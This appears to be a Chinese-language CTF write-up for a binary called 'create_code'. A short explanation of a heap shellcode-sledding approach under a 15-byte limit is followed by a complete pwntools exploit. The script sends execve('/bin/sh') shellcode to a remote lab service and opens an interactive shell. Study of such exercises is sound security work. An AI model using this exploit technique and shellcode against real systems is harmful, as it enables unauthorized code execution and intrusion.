保护没有开NX,能执行shellcode。
malloc中可以执行一段shellcode。
但是字节大小不能大于15
我们一定是需要输入正常的shellcode的。
因为我们其实可以看的到有溢出,可以想办法在堆里布置好shellcode,然后在一个chunk中通过一些符合条件但没什么用的代码走下去,走到我们shellcode。
然后我们试图去找合适的汇编代码。
http://ref.x86asm.net/coder64.html#x0F48
利用起来。
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
local = 0
if local:
r = process('./create_code')
else:
r = remote("192.168.37.130",2007)
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
src = '''
b *$rebase(0x1507)
c
'''
def debug():
gdb.attach(r, src)
pause()
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def create(content):
sla("> ", "1")
sa("content: ", content)
def dele(index):
sla("> ", "3")
sla("id: ", str(index))
shellcode = '''
push 0x68
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor esi, esi /* 0 */
xor edx, edx /* 0 */
/* call execve() */
push 59 /* 0x3b */
pop rax
syscall
'''
payload = 'a' * 0xb8 + (p8(0xd) + p32(0x01010101)) + asm(shellcode)
create("aaaa")
create(payload)
dele(0)
#debug()
payload = p32(0xf012f012) + (p8(0xd) + p32(0x01010101)) * (0x3e8 / 5)
create(payload)
ti()